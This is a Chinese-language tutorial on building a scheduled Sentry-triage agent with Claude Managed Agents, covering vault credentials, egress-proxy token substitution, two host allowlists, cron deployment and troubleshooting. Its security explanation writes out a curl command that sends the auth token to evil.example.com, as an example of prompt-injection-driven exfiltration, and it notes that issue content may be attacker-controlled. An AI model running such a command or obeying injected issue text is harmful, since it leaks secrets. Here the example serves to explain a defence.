Claude Cookbooks:用 Claude Managed Agent 实现定时 Sentry 分诊的实战指南
本文基于 claude-cookbooks 仓库中 managed_agents/sentry 示例,完整讲解如何利用 Claude 托管 Agent(Managed Agent)与 Vault 凭据体系,搭建一个「每周一至周五早上 9 点自动拉取最近 24 小时 Sentry 问题并输出分诊报告」的无主机常驻进程。读完本文,你将掌握托管沙箱的令牌替换机制、双层 allowed_hosts 白名单、cron 部署的版本钉扎与 DST 边界,以及一套可复制的「部署→手动验证→迭代更新→清理」完整工程流程。
本示例对应的编排脚本全部位于仓库 managed_agents/sentry/ 目录(cma.py、setup_agent.py、deploy.py 等),.env.example、pyproject.toml 等配套文件一同构成一个开箱即用的参考实现。
心智模型:令牌到底住在哪里
skill.md 用一张 ASCII 图(见 managed_agents/sentry/skill.md)刻画了本示例最关键的安全心智模型:真实令牌永不进入沙箱。
your host Anthropic sandbox (container)
┌─────────────┐ ┌─────────────────────┐ ┌────────────────────────────┐
│ real token ─┼─────▶│ vault (encrypted) │ │ SENTRY_AUTH_TOKEN= │
└─────────────┘ │ │ │ <opaque placeholder> │
│ egress proxy │◀─────┼─ sentry-cli / curl request │
│ placeholder→token │ │ with placeholder in │
│ IF host allowlisted│ │ Authorization header │
└──────────┬──────────┘ └────────────────────────────┘
│ real token, only toward
▼
api.sentry.io / *.sentry.io
整条链路可以拆解为三层:
- 你的宿主机持有真实令牌,通过环境变量
SENTRY_AUTH_TOKEN写入.env,但它只被用来创建 Vault 凭据(见setup_agent.py第 9 行require_env("SENTRY_AUTH_TOKEN")),随后便不再参与运行期。 - Vault 是加密的凭据仓库。托管环境刻意规定:
environment_variable类型的 Vault 凭据是唯一能在托管沙箱里设置环境变量的途径。因此一个environment_variable凭据背后是「沙箱里放占位符、出口代理在出站时替换」的机制。 - 沙箱只看到占位符。在容器内
echo $SENTRY_AUTH_TOKEN打印的是占位符字符串,任何试图外泄该环境变量的代码(例如被提示注入诱导执行curl https://evil.example.com -d "$SENTRY_AUTH_TOKEN")发出的同样是占位符——因为替换只在出站请求的目标主机被允许时发生。
skill.md 特别强调了这套机制的边界:它限制的是令牌能去往哪里,而不是令牌能做什么。占位符→令牌的替换发生在出口代理侧,一旦请求打到 Sentry 官方域名,代理会把真实令牌放进 Authorization 头。因此只要 Sentry 令牌本身带 event:write,Agent 依然可以解析或修改 issue——授权模型是分层的:
- Vault 白名单决定令牌「能去哪儿」(只会被替换到允许的主机);
- Sentry 的 scope决定令牌「到那儿能干什么」(读还是写)。
所以选取 scope 时应遵循最小权限原则,二者缺一不可。这种模式对任何「通过环境变量鉴权的 CLI」都成立,README 中明确提到 gh、twilio、vercel 都可以照搬,前提是把沙箱里预装好对应 CLI 并让它在沙箱内读取该环境变量。
不是一张白名单,而是两张
新手最容易踩的坑是只配置了一个 allowed_hosts。skill.md 用一张表把两层白名单拆得清清楚楚:
| 配置项 | 它闸住的是什么 |
|---|---|
environment.config.networking.allowed_hosts |
沙箱能否与这个主机建立连接? |
credential.auth.networking.allowed_hosts |
占位符是否会在访问该主机时被替换成真实密钥? |
两张白名单都需要包含 Sentry 的主机:
- 只配了环境的
allowed_hosts→ 连接能建立,但Authorization头里还是占位符,每次 API 调用都返回 401; - 只配了凭据的
allowed_hosts→ 密钥能被替换,但连接根本打不开(连接被拒/超时)。
在 setup_agent.py 中可以看到两个配置的确切成型方式:
credential = client.beta.vaults.credentials.create(
vault.id,
auth={
"type": "environment_variable",
"secret_name": "SENTRY_AUTH_TOKEN",
"secret_value": SENTRY_AUTH_TOKEN,
"networking": {
"type": "limited",
"allowed_hosts": ["sentry.io", "*.sentry.io"],
},
},
display_name="Sentry org auth token (read-only scopes)",
)
env = client.beta.environments.create(
name="cookbook-sentry-triage-env",
config={
"type": "cloud",
"networking": {
"type": "limited",
"allow_package_managers": True,
"allowed_hosts": ["sentry.io", "*.sentry.io"],
},
"packages": {"pip": ["sentry-cli"]},
},
)
注意环境的网络配置里还开了 allow_package_managers: True,并把 sentry-cli 作为 pip 包装进沙箱(源码注释写明「PyPI 包附带 sentry-cli 二进制」),这样 Agent 才能用 sentry-cli 直接查询。skill.md 还提到存在一种 unrestricted 的凭据网络类型,适用于「事先无法枚举主机清单」的 CLI——但显式白名单是更强的保证,它划出的是「该令牌只对 Sentry 生效」与「该令牌可能被诱导发往任何地方」之间的差别,生产环境应优先使用 limited + allowed_hosts。
部署(Deployment)= 完整的宿主机进程
skill.md 强调了一个容易误解的概念:deployment 把 Agent、环境(environment)、Vault 和初始用户消息与一份 cron 调度打包在一起。deploy.py 的调用如下:
deployment = client.beta.deployments.create(
name="Weekday morning Sentry triage",
agent=CLAUDE_AGENT_ID,
environment_id=CLAUDE_ENVIRONMENT_ID,
vault_ids=[CLAUDE_VAULT_ID],
initial_events=[
{
"type": "user.message",
"content": [{"type": "text", "text": TRIAGE_PROMPT}],
}
],
schedule={
"type": "cron",
"expression": "0 9 * * 1-5", # weekday mornings
"timezone": "America/New_York",
},
)
initial_events 里预置的 TRIAGE_PROMPT 就是每次调度触发时发给 Agent 的「开场白」——它要求 Agent 拉取 {org}/{project} 最近 24 小时的 unresolved issues、按系统提示词执行分诊,并把报告写到 /mnt/session/outputs/TRIAGE_REPORT.md,最后回复 Summary 段落。
创建成功后会打印 deployment.status 与 schedule.upcoming_runs_at 里列出的未来执行时刻,方便你确认表达式是否按预期触发。调度触发后,会话在 Anthropic 基础设施上自行启动,deploy.py 运行完毕之后你的机器上没有任何常驻进程——这也是「无主机进程」方案的全部意义。
从仓库 README 的流程示意可以更直观地理解运行时序:
cron (0 9 * * 1-5) ──▶ deployment ──▶ session (sandbox)
│ sentry-cli / curl with
│ placeholder token
▼
egress proxy: placeholder → real token,
*.sentry.io only
▼
TRIAGE_REPORT.md in /mnt/session/outputs/
配置与变更时的陷阱清单(Gotchas)
skill.md 的核心价值体现在这份「文档里没有明说、却会烧掉大量调试时间」的陷阱清单上。
系统提示词是被持久化存储的,别把密钥放进去
系统提示词与用户消息都会落入会话的事件历史(event history)。因此组织与项目 slug 这类非机密信息可以放在提示词里——agent_config.py 通过 build_system_prompt(org, project) 把 SENTRY_ORG、SENTRY_PROJECT 插值进提示词模板;而令牌永远只允许出现在 Vault 凭据中。
agent_config.py 生成的系统提示词同时展示了最佳实践:它明确要求 Agent「sentry-cli 通过已设置好的 SENTRY_AUTH_TOKEN 环境变量鉴权,永远不要打印它,也不要把它作为 CLI 参数传入」,并给出了 CLI 拿不到数据时调用 REST API 的兜底方式:
curl -s -H "Authorization: Bearer $SENTRY_AUTH_TOKEN" \
"https://sentry.io/api/0/organizations/{org}/issues/?project={project}&query=is:unresolved&statsPeriod=24h&sort=freq"
*.sentry.io 并不覆盖 sentry.io
通配符只匹配子域,不匹配裸域。所以两张白名单里都要同时写上 sentry.io 与 *.sentry.io——后者用来覆盖 us.sentry.io、de.sentry.io 这类区域化主机。这也与 setup_agent.py 中凭据、环境两处都同时列出的写法一一对应。
改环境变量名 vs 改环境变量值
- 改名:需要把原凭据归档(archive)、新建一个凭据,新凭据会拿到不同的占位符。某些场景下存量会话可能自动拾取新凭据,但为了确保新变量一定生效,改名后应开启全新会话。
- 轮换值:可以直接原地更新
secret_value,ID 不变,此后(包括正在运行的会话中)的每次新出站请求都会用上新值:
client.beta.vaults.credentials.update(
credential_id,
vault_id=vault_id,
auth={"type": "environment_variable", "secret_value": new_token},
)
networking.allowed_hosts 更新时是「整体替换」
想新增一个主机,必须把包含既有条目的完整清单一起提交,而不是增量追加。
Deployment 钉扎住了一个 Agent 版本
agents.update 会写入一个新的 Agent 版本,此后你手动开启的会话会使用最新版;但 deployment 不会——它始终使用创建那一刻钉住的版本,因此「只改提示词」永远无法传导到定时运行中。仓库为此专门提供了 update_agent.py,它把一件事拆成两半完成:
current = client.beta.agents.retrieve(CLAUDE_AGENT_ID)
agent = client.beta.agents.update(
CLAUDE_AGENT_ID,
version=current.version, # 乐观锁:并发冲突会让本次更新失败
model=MODEL,
system=build_system_prompt(SENTRY_ORG, SENTRY_PROJECT),
)
...
client.beta.deployments.update(deployment_id, agent=CLAUDE_AGENT_ID) # 重新钉到最新版
agents.update 时的 version 参数是一个乐观锁——如果在你 retrieve 之后、update 之前别人又 bump 了版本,本次更新会失败,从而避免覆盖竞态。脚本还做了防护:只有 .env 里存在 CLAUDE_DEPLOYMENT_ID 时才执行重新钉扎,否则仅提示先跑 deploy.py。日常改提示词/模型的完整动作链因此是:编辑 agent_config.py → uv run python update_agent.py。
Cron 是墙钟时间,存在 DST 边界
调度按「POSIX cron 表达式 + IANA 时区」在墙钟时间上匹配:
0 9 * * 1-5+America/New_York意味着无论夏令时如何切换,都按美东 9:00 触发;- 春季拨快那一天不存在的时刻会被跳过;秋季拨慢那一天出现两次的时刻会触发两次;
- 如果这会影响业务(例如「每天只发一封」的邮件任务),请把调度排到当地凌晨 1–3 点之外,或干脆使用 UTC;
- 运行可能延迟最多约 10 秒,粒度是分钟级,每个组织最多可创建 1,000 个 deployment。
deploy.py 会在 deployments.create 后打印 schedule.upcoming_runs_at,skill.md 建议你据此核实表达式确实会在预期时间触发,而不是想当然。
永久性失败会自动暂停 deployment
vault_not_found、agent_archived、environment_archived 这三类永久性失败会把 deployment 暂停并设置 paused_reason——这样一份配置错误的 deployment 不会按计划无限期地失败下去。而瞬时失败(限流、后端错误)不会触发暂停。runs.py 是观察这一切的入口:每次调度或手动触发都会写一条 deployment run 记录,即使没有产生会话也会记录,此时 error.code 会标明失败类别;脚本还提供了 has_error=True 的过滤视图专门列出失败记录。
pause 不是 archive
pause:停止未来的定时触发,但正在进行的会话会继续跑完,手动触发也仍然可用;unpause:从下一个触发时刻恢复,错过的运行不会补跑;archive:终态操作,不可逆。
报告文件比会话滞后几秒
Agent 把报告写到 /mnt/session/outputs/,Files API 会自动捕获该目录。但索引存在 1–3 秒的滞后(会话进入 idle 之后),所以 run_now.py 会对空结果轮询重试数次再放弃。另外注意一个安全细节:Agent 读取的是 issue 标题、堆栈等可能受攻击者控制的内容,Agent 自选的文件名不能盲目信任——run_now.py 下载前用 Path(f.filename).name 剥离了所有路径成分,只保留纯文件名再落盘。
从零到一的完整配置清单
skill.md 把整个上手指引压缩为 6 步,README 则给出了进入该目录的入口命令:
cd managed_agents/sentry
uv sync
随后按顺序执行:
- Sentry 侧:进入 Sentry → Settings → Auth Tokens → Create New Token,勾选
org:read、project:read、event:read三个只读 scope,复制sntrys_...开头的值。 - 本机凭据:
cp .env.example .env,填入SENTRY_AUTH_TOKEN、SENTRY_ORG(Sentry URL 中的组织 slug)、SENTRY_PROJECT(项目 slug,不是数字 ID)。Anthropic 侧鉴权二选一:在.env里设置ANTHROPIC_API_KEY,或先用ant auth login登录一次——SDK 在未设置 API key 时会自动发现 CLI 凭据,两种方式都可以。.env.example还预留了可选的COOKBOOK_MODEL覆盖项(agent_config.py里MODEL = os.environ.get("COOKBOOK_MODEL", "claude-opus-4-8"))。 - 一次性创建:
uv run python setup_agent.py,把打印出的CLAUDE_VAULT_ID、CLAUDE_AGENT_ID、CLAUDE_ENVIRONMENT_ID复制进.env。这一步内部依次完成:创建 vault → 创建带 Sentry 白名单的environment_variable凭据 → 创建 Agent(模型取自agent_config.py的MODEL,系统提示词由build_system_prompt生成,并预置了agent_toolset_20260401工具的always_allow权限策略)→ 创建带网络白名单与sentry-cli依赖的云端环境。 - 创建调度:
uv run python deploy.py,把CLAUDE_DEPLOYMENT_ID复制进.env,并检查打印出的未来运行时刻。 - 手动冒烟测试:
uv run python run_now.py—— 它会立刻以trigger_context.type: "manual"起一个与会话计划完全相同的真实会话、实时流式打印 Agent 输出,并下载TRIAGE_REPORT.md。令牌缺 scope、某张白名单配错,都会在这一步暴露出来,而不是等到第二天早上 9 点。 - 收尾:至此调度已生效,无需任何宿主机进程。随时可用
uv run python runs.py查看历史与失败记录。
之后想改提示词或模型,编辑 agent_config.py 后执行 uv run python update_agent.py(推送变更并重新钉扎 deployment,机制见上文陷阱小节)。想停止,则执行 uv run python teardown.py——它会先 pause 再依次 archive deployment、environment、agent、vault;如果希望调度继续跑,跳过它即可。
失败排查速查表
skill.md 提供了一张症状驱动的排查表,是运行期排障的第一手工具:
| 症状 | 可能原因 |
|---|---|
sentry-cli 返回 401 |
占位符未被替换:主机不在凭据的 allowed_hosts 中,或请求发往了白名单之外的主机 |
| 沙箱内连接被拒/超时 | 主机不在环境的 networking.allowed_hosts 中 |
| Sentry API 返回 403 | 令牌缺 scope(需要 org:read、project:read、event:read) |
runs.py 显示 vault_not_found 且 deployment 被暂停 |
Vault 被归档而 deployment 仍引用它;需重建并更新 deployment |
| 调度时间已过却没有 run 记录 | deployment 被暂停(查 paused_reason),或你查得太早、还没跨过最长约 10 秒的抖动窗口 |
run_now.py 找不到文件 |
报告索引滞后。脚本会重试;若仍为空,检查流式输出确认 Agent 到底有没有写文件 |
注意把 401 与 403 区分开:401 意味着「token 没被换上去」,根因在网络/凭据白名单;403 意味着「token 换上了但权限不够」,根因在 Sentry scope。runs.py 的 error.code 字段则能帮你把 vault_not_found(永久,会暂停)与限流/后端错误(瞬时,不暂停)分开定位。
生产化建议
- 尽量把 Sentry 令牌 scope 收窄到单个项目。只用只读 scope,意味着一次提示注入最坏也只是读到 on-call 工程师能读到的那些数据,写入面被彻底封死。
- 报告落在会话文件里,而不是你的收件箱。要真正送达,需要注册一个
session.status_idledwebhook,在会话结束事件中下载报告并投递到 Slack 等 IM——仓库managed_agents/slack示例提供了可复用的 webhook 模式,run_now.py展示了「列文件→下载→写盘」的完整文件访问姿势。 - 版本变更走显式双步:先
agents.update写新版本(带乐观锁 version),再deployments.update重新钉扎,二者缺一,定时任务就会一直跑旧提示词。
配套资源
- skill.md:本文的原始底稿,含心智模型图、陷阱清单、排障表
- README.md:示例概览与快速开始
- setup_agent.py:vault / 凭据 / Agent / 环境的一次性创建
- agent_config.py:模型与系统提示词(被 setup 与 update 共用)
- deploy.py:cron 调度的 deployment 创建
- run_now.py:手动触发、流式查看并下载报告
- runs.py:运行历史与失败原因
- update_agent.py:推送提示词/模型变更并重新钉扎
- teardown.py:暂停并归档全部资源
- cma.py:共享客户端与环境变量加载、事件流式与 idle 轮询
- .env.example:全部必填/可选环境变量的注释模板
atomcodeClaude Code 的开源替代方案。连接任意大模型,编辑代码,运行命令,自动验证 — 全自动执行。用 Rust 构建,极致性能。 | An open-source alternative to Claude Code. Connect any LLM, edit code, run commands, and verify changes — autonomously. Built in Rust for speed. Get StartedRust0625
Hy4-previewHy4 preview 是由腾讯混元团队研发的新一代混合专家(MoE)旗舰模型。模型总参数量 770B,每个 token 激活 49B,主干共包含78层,第一层采用标准 FFN,其余 77 层均为 MoE 结构,每层包含 256 个路由专家与 1 个共享专家,每个 token 激活 top-8 路由专家及共享专家。主干之外原生内置 1 层 MTP(总参数量 10B,激活 0.7B)以支持投机解码。Python00
GLM-5.3GLM-5.3 与 GLM-5.2 使用相同的基座模型——所有提升均来自后训练。与 GLM-5.2 相比,它在复杂编程和长程任务上的表现显著提升。Jinja00
GLM-5.3-FlashGLM-5.3-Flash (320B-A18B),是GLM-5系列的首个原生多模态模型。320B总参数,能力超过GLM-5.2Jinja00
Spark-X2.5-4BSpark-X2.5-4B 旨在让强大的 AI 更实用、更高效、更易获得。在广泛日常任务中表现强劲,涵盖对话、写作、翻译、推理、编码、工具调用以及智能体工作流,并在同等规模的开源模型中取得领先成绩。Spark-X2.5 将面向效率的架构与最高 1M tokens 的原生上下文窗口相结合,并支持 200 多种语言。Python00
Spark-X2.5-1.7BSpark-X2.5-1.7B 旨在让强大的 AI 更加实用、高效且易于获取。这些模型在广泛的日常任务中表现出色,涵盖对话、写作、翻译、推理、编程、工具调用和智能体工作流,并在同等规模的开源模型中取得领先结果。Spark-X2.5 将面向效率的架构与最高 1M tokens 的原生上下文窗口相结合,并支持 200 多种语言。Python00